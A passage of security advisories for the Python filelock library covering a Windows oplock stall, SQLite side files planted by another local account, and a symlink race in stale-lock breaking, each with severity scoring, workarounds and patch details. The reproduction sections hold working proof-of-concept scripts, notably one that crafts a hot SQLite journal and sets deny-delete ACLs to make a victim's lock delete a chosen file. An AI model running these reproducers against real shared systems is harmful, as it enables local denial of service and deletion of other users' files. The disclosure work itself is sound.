return handle, overlapped
kernel32.CloseHandle(handle)
kernel32.CloseHandle(overlapped.hEvent)
return None
def drop(granted: tuple[int, Overlapped]) -> None:
handle, overlapped = granted
kernel32.CloseHandle(handle)
kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
kernel32.CloseHandle(overlapped.hEvent)
def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool:
stop = threading.Event()
granted_box: list[tuple[int, Overlapped]] = []
def spinner() -> None:
impersonate()
while not stop.is_set():
if (granted := request_level1(lock_path)) is not None:
granted_box.append(granted)
hold.wait()
return
releasing = threading.Event()
release_durations: list[float] = []
def owner() -> None:
# thread_local locks release only on the acquiring thread, so acquire and release stay on this one
for _ in range(cycles):
lock = FileLock(lock_path, is_singleton=False)
lock.acquire(timeout=5)
started = time.monotonic()
releasing.set()
lock.release()
releasing.clear()
release_durations.append(time.monotonic() - started)
if granted_box:
return
holder = threading.Thread(target=spinner, daemon=True)
holder.start()
owner_thread = threading.Thread(target=owner, daemon=True)
owner_thread.start()
owner_thread.join(60)
stalled = owner_thread.is_alive() and releasing.is_set()
stop.set()
longest = max(release_durations, default=0.0) * 1000
print(f" {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")
if stalled:
print(" release() still running after 60 s while the oplock holder has not answered the break")
if granted_box:
drop(granted_box[0])
owner_thread.join(10)
print(f" release() returned after the holder closed its handle: {not owner_thread.is_alive()}")
return stalled
print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500)
print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")
def slow_unlink(path: str, *, dir_fd: int | None = None) -> None:
time.sleep(0.2)
real_unlink(path, dir_fd=dir_fd)
os.unlink = slow_unlink
stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real_unlink
print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is_singleton=False)
holder.acquire()
holder_fd = holder._context.lock_file_fd # noqa: SLF001
os.close(holder_fd) # the marker stays with a live PID, as after a holder that lost only its handle
impersonate_done = threading.Event()
granted_soft: list[tuple[int, Overlapped]] = []
def take_soft_oplock() -> None:
impersonate()
if (granted := request_level1(marker)) is not None:
granted_soft.append(granted)
impersonate_done.set()
hold.wait()
threading.Thread(target=take_soft_oplock, daemon=True).start()
impersonate_done.wait(5)
print(f" oplock granted: {bool(granted_soft)}")
outcome = ["still running after 25 s"]
def contend() -> None:
started = time.monotonic()
try:
SoftFileLock(marker, is_singleton=False).acquire(timeout=1)
outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
except Timeout:
outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
except OSError as error:
outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}"
contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f" contender: {outcome[0]}")
soft_stalled = "still running" in outcome[0]
if granted_soft:
drop(granted_soft[0])
contender.join(10)
print(f" after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED")
```
Recorded output of section `[2]`:
```
[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
oplock granted: True
contender: Timeout after 10.02 s
after the holder closed: Timeout after 10.02 s
```
**`oplock_semantics_vm.py`**
```python
"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.
Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""
from __future__ import annotations
import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes
base = sys.argv[1]
os.makedirs(base, exist_ok=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
wintypes.LPCWSTR,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.HANDLE,
]
class Overlapped(ctypes.Structure):
_fields_ = (
("Internal", ctypes.c_void_p),
("InternalHigh", ctypes.c_void_p),
("Offset", wintypes.DWORD),
("OffsetHigh", wintypes.DWORD),
("hEvent", wintypes.HANDLE),
)
kernel32.DeviceIoControl.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
wintypes.DWORD,
ctypes.c_void_p,
ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000
SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}
def take(path: str, level: str) -> tuple[int, Overlapped]:
handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error()
return handle, overlapped
def drop(granted: tuple[int, Overlapped]) -> None:
kernel32.CloseHandle(granted[0])
kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
kernel32.CloseHandle(granted[1].hEvent)
def timed(label: str, operation) -> None: # noqa: ANN001
done = threading.Event()
result = ["still running after 15 s"]
def run() -> None:
started = time.monotonic()
try:
operation()
result[0] = f"returned after {(time.monotonic() - started) * 1000:.1f} ms"
except OSError as error:
result[0] = f"{type(error).__name__} after {(time.monotonic() - started) * 1000:.1f} ms: {error}"
done.set()
threading.Thread(target=run, daemon=True).start()
done.wait(15)
print(f" {label}: {result[0]}")
return done
def open_read(path: str) -> None:
os.close(os.open(path, os.O_RDONLY | os.O_BINARY))
def open_write(path: str) -> None:
os.close(os.open(path, os.O_RDWR | os.O_BINARY))
def create_new(path: str) -> None:
os.close(os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_BINARY))
for level in LEVELS:
for label, operation, consumes in (
("os.open O_RDONLY", open_read, False),
("os.open O_RDWR", open_write, False),
("os.open O_CREAT|O_EXCL on the existing file", create_new, False),
("os.utime by path", lambda p: os.utime(p, None), False),
("os.rename", lambda p: os.rename(p, p + ".moved"), True),
("os.unlink", os.unlink, True),
):
path = os.path.join(base, f"{level}-{label.replace(' ', '_').replace('|', '')}.lock")
with open(path, "w", encoding="utf-8") as handle:
handle.write("1\nhost\n")
granted = take(path, level)
print(f"{level}, {label}")
done = timed(label, lambda p=path, op=operation: op(p))
drop(granted)
done.wait(5)
print(f" after the holder closed: {'done' if done.is_set() else 'still running'}")
```
The review kept this probe's result as a sentence rather than its printed lines: under a same-account Level 1 or batch oplock, `os.open(path, os.O_RDONLY)`, `os.rename` and `os.unlink` were still running after 15 s and returned only once the holder closed its handle; `os.utime` by path and a failed `O_CREAT | O_EXCL` create returned at once.
##### Failure sequence
```mermaid
sequenceDiagram
participant A as other local account
participant M as soft.lock marker, no handle open
participant L as lock user: SoftFileLock(path).acquire(timeout=1)
participant W as Windows (NTFS)
A->>W: CreateFileW(soft.lock, GENERIC_READ, share read/write/delete, FILE_FLAG_OVERLAPPED)
A->>W: DeviceIoControl(FSCTL_REQUEST_OPLOCK_LEVEL_1), granted, break never acknowledged
L->>W: os.open(soft.lock, O_CREAT|O_EXCL) fails with EEXIST at once
L->>W: os.lstat(soft.lock) regular file
rect rgb(255, 214, 214)
L->>W: os.open(soft.lock, O_RDONLY) inside _read_lock_file
Note over L,W: CreateFileW asks A to break the oplock and waits#59; the 1 s deadline, blocking=False and cancel_check are not consulted
W-->>L: handle after 10.02 s (two-account run), or when A closes (same-account probe)
end
L->>L: _check_give_up: past the deadline, raise Timeout after 10.02 s
Note over A,M: a stale marker takes the same wait in Path.rename and Path.unlink, so it is not broken
```
##### Evidence
Section `[2]` of `oplock_vm.py` acquired `soft.lock` as the test account, closed the holder's descriptor so the marker stayed with a live process id and no open handle, took a Level 1 oplock through the second account's read handle (`oplock granted: True`), and ran `SoftFileLock(marker, is_singleton=False).acquire(timeout=1)` on a thread. The call returned `Timeout` after 10.02 s, before the holder closed. The review did not establish what ends the wait at 10 s in the two-account runs; section `[1a]` of the same script, with the second account's handle, shows the same 10 s. In the same-account probe (`oplock_semantics_vm.py`) the open returned only when the holder closed, still running at 15 s. The probe also shows that the failed exclusive create and `os.utime` by path return at once, so the wait is in the read and the break, not in the create attempt.
##### Impact
Each `acquire()` of a soft lock that finds a marker another account holds an oplock on runs past its `timeout`, `blocking=False` and `cancel_check` until the holder answers or closes, 10 s per attempt in the recorded two-account runs. A stale marker under that oplock is not broken, so no process acquires the lock while the holder keeps its handle. With `AsyncSoftFileLock(run_in_executor=False)` the wait is on the event loop thread and stops every task in the process; with the default executor one worker thread waits. The documentation names a soft lock as the option for network filesystems, after verification on the mount, and `FileLock` is a soft lock on builds without `fcntl` and after its `ENOSYS` fallback. Mutual exclusion is not affected and nothing other than the marker is read, written or deleted.
##### Workarounds
- Keep soft-lock markers in a directory whose ACL grants other accounts no access to new files: a directory inside the user profile, or one with inheritance removed and only the owner, `SYSTEM` and `Administrators` granted (`icacls <dir> /inheritance:r /grant:r "<owner>:(OI)(CI)F" "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F"`). `mode` does not do this on Windows.
- Run `AsyncSoftFileLock` with the default executor rather than `run_in_executor=False`, so that only a worker thread waits.
- No `timeout`, `blocking` or `cancel_check` value bounds the wait.
##### Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/835
##### Credits
Found by the maintainers while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4).
- 2026-10-15 23:08 UTC: report received (36 findings; this defect is not among them)
- 2026-10-16 01:16 UTC: fix PR #​835 opened, for the Linux lease finding of GHSA-7hmp-gf99-57hx
- 2026-10-16 08:25 UTC: finding identified in the maintainers' review of PR #​835
- 2026-10-16 22:43 UTC: draft advisory created
#### Severity
- CVSS Score: 2.5 / 10 (Low)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L`
#### References
- [https://github.com/tox-dev/filelock/security/advisories/GHSA-567q-5qvw-pf92](https://github.com/tox-dev/filelock/security/advisories/GHSA-567q-5qvw-pf92)
- [https://github.com/tox-dev/filelock/pull/835](https://github.com/tox-dev/filelock/pull/835)
- [https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a](https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a)
- [https://github.com/tox-dev/filelock](https://github.com/tox-dev/filelock)
- [https://github.com/tox-dev/filelock/releases/tag/4.2.1](https://github.com/tox-dev/filelock/releases/tag/4.2.1)
This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-567q-5qvw-pf92) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### filelock: ReadWriteLock on Windows acts on SQLite side files another local user places beside its database
[CVE-2026-112913](https://nvd.nist.gov/vuln/detail/CVE-2026-112913) / [GHSA-9vhv-jxww-xfm5](https://github.com/advisories/GHSA-9vhv-jxww-xfm5)
<details>
<summary>More information</summary>
#### Details
On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: `<database>-journal`, the rollback journal (pages saved to undo an interrupted write); `<database>-wal`, the write-ahead log (changes kept outside the main file); and `<database>-shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file's creator may do. `C:\Windows\Temp` (the temporary directory of services, granting `BUILTIN\Users` create but not delete) and `C:\Users\Public` are such directories.
With a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.
##### Severity
**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 3.3 (Low).**
`AV:L` (local): the other account needs a logon on the same host. `AC:L` (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. `PR:L` (low privileges): an ordinary account that can create files in the directory is enough. `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` (no confidentiality impact): the other account learns nothing. `I:N` (no integrity impact in the scored variant): see the scoring note. `A:L` (partial availability impact): every acquire fails with an exception that `Timeout` handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.
Scoring note. The deletion variant reads `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L` (3.6): `I:L` because the lock user's process deletes one file the journal names, `AC:H` because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every `ReadWriteLock` on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: **security** (another account), availability for the scored variant.
##### Scope and preconditions
- Platform and classes: Windows only. `ReadWriteLock` and `AsyncReadWriteLock`, both of which connect through `_connect`. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.
- Directory: one where another account can create files but cannot delete the lock user's. `C:\Windows\Temp` carries `BUILTIN\Users:(CI)(S,WD,AD,X)` (create file and create subdirectory, no delete child); `C:\Users\Public` and any directory with such an entry qualify. A directory only the lock user can write, such as `%LOCALAPPDATA%` or the per-user temporary directory, is not affected.
- The other account creates `<database>-wal`, grants everyone modify and denies everyone `DELETE` on it. A file's creator may set both. The lock user can open and read the file but not delete it.
- Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's `<database>-journal` grants the lock account modify rights. The journal's tail names a file the lock user can delete.
- What the lock user sees: `write_lock(timeout=1)` raised `sqlite3.OperationalError: disk I/O error` with the undeletable `-wal` in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised `sqlite3.OperationalError: unable to open database file`.
- The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for `WindowsFileLock`, in its symlink paragraph; the `ReadWriteLock` documentation names no directory requirement on Windows.
##### Affected code
Scanned commit `b831496b0273`: the [Windows branch of `_connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L951-L965) checks the database through a handle and then calls `sqlite3.connect(database, ...)` with the path. [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect that handle, not the side files. The first statement is [`PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` at L816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). [`_do_acquire_inner` at L763](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) turns only `"database is locked"` into `Timeout`; any other `sqlite3.OperationalError` leaves the acquire.
##### Introduced
[cfd4446](https://github.com/tox-dev/filelock/commit/cfd4446) "feat(lock): add SQLite-based ReadWriteLock" ([#​399](https://github.com/tox-dev/filelock/pull/399), 2026-02-12), first tag 3.20.4 (verified with `git tag --contains`), passed the lock path to `sqlite3.connect` on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #​834 at `1f9e415`, whose Windows branch of `_connect` is the same code as at `b831496b0273`.
##### Mechanism
`_connect` on Windows opens the database with `_open_non_reparse_fd`, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while `sqlite3.connect(database)` opens the same name. The check covers the database, not the names beside it. On the first statement, `PRAGMA journal_mode=MEMORY`, SQLite takes its first lock on the database and looks for `<database>-wal`. A non-empty `-wal` beside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file denies `DELETE`, so the pragma raises `SQLITE_IOERR_DELETE`, which reaches the caller as `sqlite3.OperationalError: disk I/O error`. `_do_acquire_inner` converts only "database is locked" into `Timeout`, so `acquire_read()`, `acquire_write()` and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.
The journal variant needs a database with content. Beside a non-empty database SQLite treats a `<database>-journal` with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user's `write_lock()` therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raise `sqlite3.OperationalError: unable to open database file` instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.
##### Reproduction
The review's reproducer, quoted as received except for the second account's password on line 2, replaced by `<password>`. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #​834 at `1f9e415`, as the administrator account `bernat`, which stands in for the other account that creates the side files; the lock account is `fltester`, a member of `Users`, whose database lives in `C:\Windows\Temp`.
**`win_two_accounts.py`**
```python
##### Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):
##### winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester '<password>'"
##### which runs, as the administrator account on the VM:
##### python3.14 -I win_two_accounts.py <worktree> <second-user> <password>
##### The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account
##### may create files but not delete another account's. This administrator account stands in for the other account that
##### plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the
##### file's creator may do.
import ctypes
import os
import pathlib
import sqlite3
import struct
import subprocess
import sys
from ctypes import wintypes
sys.path.insert(0, sys.argv[1] + "/src")
from filelock import ReadWriteLock
user, password = sys.argv[2], sys.argv[3]
base = pathlib.Path(os.environ["SYSTEMROOT"]) / "Temp"
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
tag = f"rw834-{os.getpid()}"
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
advapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)]
advapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)]
token = wintypes.HANDLE()
if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
raise ctypes.WinError(ctypes.get_last_error())
def current_user() -> str:
size = wintypes.DWORD(256)
buffer = ctypes.create_unicode_buffer(size.value)
advapi32.GetUserNameW(buffer, ctypes.byref(size))
return buffer.value
def as_lock_user(action):
if not advapi32.ImpersonateLoggedOnUser(token):
raise ctypes.WinError(ctypes.get_last_error())
try:
return action()
finally:
advapi32.RevertToSelf()
def plant(path: pathlib.Path, data: bytes, *, deletable: bool) -> None:
path.write_bytes(data)
subprocess.run([icacls, str(path), "/grant", "*S-1-1-0:(M)"], check=True, capture_output=True)
if not deletable:
subprocess.run([icacls, str(path), "/deny", "*S-1-1-0:(D)"], check=True, capture_output=True)
def acquire(db: pathlib.Path) -> str:
try:
with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1):
pass
except Exception as error:
return f"acquire failed: {type(error).__name__}: {error}"
return "acquired"
def hot_journal(super_journal: pathlib.Path) -> bytes:
name = os.fsencode(str(super_journal))
return name + struct.pack(">II", len(name), sum(name)) + bytes.fromhex("d9d505f920a163d7")
print("planting account:", current_user(), "| lock account:", as_lock_user(current_user))
db = base / f"{tag}-empty.db"
as_lock_user(lambda: db.touch())
plant(pathlib.Path(f"{db}-wal"), b"\0" * 32, deletable=False)
print("empty database, undeletable -wal:", as_lock_user(lambda: acquire(db)), "| -wal still exists:", pathlib.Path(f"{db}-wal").exists())
for deletable in (True, False):
db = base / f"{tag}-tables-{deletable}.db"
notes = base / f"{tag}-notes-{deletable}.txt"
def prepare() -> None:
with sqlite3.connect(db) as connection:
connection.execute("CREATE TABLE application (value)")
connection.close()
notes.write_text("keep")
as_lock_user(prepare)
plant(pathlib.Path(f"{db}-journal"), hot_journal(notes), deletable=deletable)
print(f"database with a table, {'deletable' if deletable else 'undeletable'} -journal naming the lock account's file:",
as_lock_user(lambda: acquire(db)), "| named file still exists:", notes.exists(), "| -journal still exists:", pathlib.Path(f"{db}-journal").exists())
```
Recorded output on the VM:
```text
planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True
```
##### Failure sequence
```mermaid
flowchart TD
P["other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE"] --> C["lock user: ReadWriteLock(lock.db).write_lock(timeout=1)"]
C --> O["_open_lock_database checks the handle: regular file, no reparse point, header not WAL"]
O --> S["sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY"]
S -- "empty database, undeletable -wal" --> E1["SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted"]
S -- "database with a table, writable -journal" --> E2["SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds"]
S -- "database with a table, read-only -journal" --> E3["OperationalError unable to open database file on every acquire"]
classDef ok fill:#d8f3dc,stroke:#​2d6a4f,color:#​1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#​5c0000;
classDef info fill:#cfe4ff,stroke:#​1f6feb,color:#​0b1f3a;
class P,C,O,S info;
class E1,E2,E3 bad;
```
##### Evidence
The reproducer printed the three lines above on the VM: the undeletable `-wal` beside an empty database made `write_lock(timeout=1)` fail with `OperationalError: disk I/O error` and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content `keep`, was gone along with the journal; the read-only journal made the acquire fail with `OperationalError: unable to open database file` and left both files. The review notes that the Windows branch of `_connect` is unchanged since #​399, so the behavior is the same at `b831496b0273` and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.
##### Impact
In a directory such as `C:\Windows\Temp`, another local account turns every `read_lock()` and `write_lock()` on a `ReadWriteLock` database into an immediate `sqlite3.OperationalError`, for as long as its file stays. Callers that handle `Timeout` or `OSError` do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.
##### Workarounds
- Keep the `ReadWriteLock` database in a directory other accounts cannot create files in: `%LOCALAPPDATA%`, the per-user temporary directory (`%TEMP%` of a user session), or a directory with inheritance removed and only the owner, `SYSTEM` and `Administrators` granted. `C:\Windows\Temp` and `C:\Users\Public` do not qualify.
- Treat `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `<database>-wal` beside the database, which only its creator or an administrator can remove.
##### Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/854
##### Credits
Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).
- 2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)
- 2026-10-16 01:15 UTC: PR #​834 opened, for the POSIX routes
- 2026-10-16 08:31 UTC: finding identified in the maintainers' review of PR #​834
- 2026-10-16 22:43 UTC: draft advisory created
#### Severity
- CVSS Score: 3.3 / 10 (Low)
- Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L`
#### References
- [https://github.com/tox-dev/filelock/security/advisories/GHSA-9vhv-jxww-xfm5](https://github.com/tox-dev/filelock/security/advisories/GHSA-9vhv-jxww-xfm5)
- [https://github.com/tox-dev/filelock/pull/834](https://github.com/tox-dev/filelock/pull/834)
- [https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d](https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d)
- [https://github.com/tox-dev/filelock](https://github.com/tox-dev/filelock)
- [https://github.com/tox-dev/filelock/releases/tag/4.2.1](https://github.com/tox-dev/filelock/releases/tag/4.2.1)
This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9vhv-jxww-xfm5) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
[CVE-2026-112914](https://nvd.nist.gov/vuln/detail/CVE-2026-112914) / [GHSA-crv4-6mhj-j5jh](https://github.com/advisories/GHSA-crv4-6mhj-j5jh)
<details>
<summary>More information</summary>
#### Details
When a soft-lock stale break finds that the marker (the lock file at `<path>`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.
The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`).
##### Severity
**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**
`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.
Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #​786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.
##### Scope and preconditions
- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.
- The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).
- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.
- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.
filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.
##### Affected code
